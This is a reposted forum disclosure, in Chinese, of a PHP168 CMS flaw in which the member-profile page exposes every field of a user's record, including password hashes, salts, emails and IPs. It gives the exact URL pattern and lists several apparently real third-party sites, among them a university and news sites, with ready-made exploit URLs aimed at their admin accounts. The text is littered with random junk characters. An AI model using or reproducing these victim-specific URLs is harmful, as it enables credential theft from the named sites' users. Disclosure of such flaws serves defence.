|
简要描述： 国微PHP168中出现了一处神奇的array，可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明：PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中，这个页面不会在前台使用，但可直接通过URL进行访问。页面路由为：/homepage.php/[用户名]/member-profile# g! c1 U: w' W i
! S) L/ c: ?# P" K8 w* C
以PHP168官方演示站点为例，查看任意用户信息的页面链接为：
: t* R3 m B3 |" D9 c! B; B7 U* j/ `* {' B5 c
http://php168.cn/com/homepage.php/admin/member-profile4 [: E1 a) X0 j6 } O4 p- W
) P- x: o1 T" c0 t4 B4 ^2 h
由于该模块代码中出现了一句神奇的array，导致用户数据表内所有数据被当作数组取出直接显示出来。: S# e" I5 [! Q3 b) i4 |4 }. z# U
http://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
( V5 N$ d1 V6 z2 \$ x( \1 s ]' r% w$ y8 I+ Y, s
漏洞证明：该漏洞影响使用该CMS系统的站点，以PHP168官网上的客户案例为例：; r0 R: a- d' R+ ~1 D7 x' t
7 d' I- ~( Y: K3 khttp://www.zjfzol.com.cn/homepage.php/admin/member-profile" D/ a; o' T: K9 k) R5 Z' p: c
* t, g- F* x8 |- s$ m0 V& `
http://www.scswl.cn/homepage.php/admin/member-profile
4 u, z9 e1 p% V0 w) D$ [& K+ o% T
http://www.tunet.edu.cn/homepage.php/admin/member-profile
$ [2 g+ I- Z) o4 R! t
" c/ ~8 f1 x& Z" r0 ~+ @http://www.itlead.com.cn/homepage.php/admin/member-profile/ |% R2 r9 s: ]! y! ?8 K4 v8 t: h( w
% G0 V8 }, p" N' G( T M2 @1 }( }http://www.aedp.cn/homepage.php/admin/member-profile
8 o4 b: u+ j) F" b. J F n J3 p; e7 v+ g, e: i
http://www.qianlongnews.com/homepage.php/test/member-profile
% X, ?) F3 J0 o; T( l! ?- q" C l( }4 h( g
http://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案：去掉输出 [/td][/tr]) Z8 Y9 ~; I8 D' C/ Z
[/table] | 
发表于 2013-9-21 16:02:53
收藏
支持
反对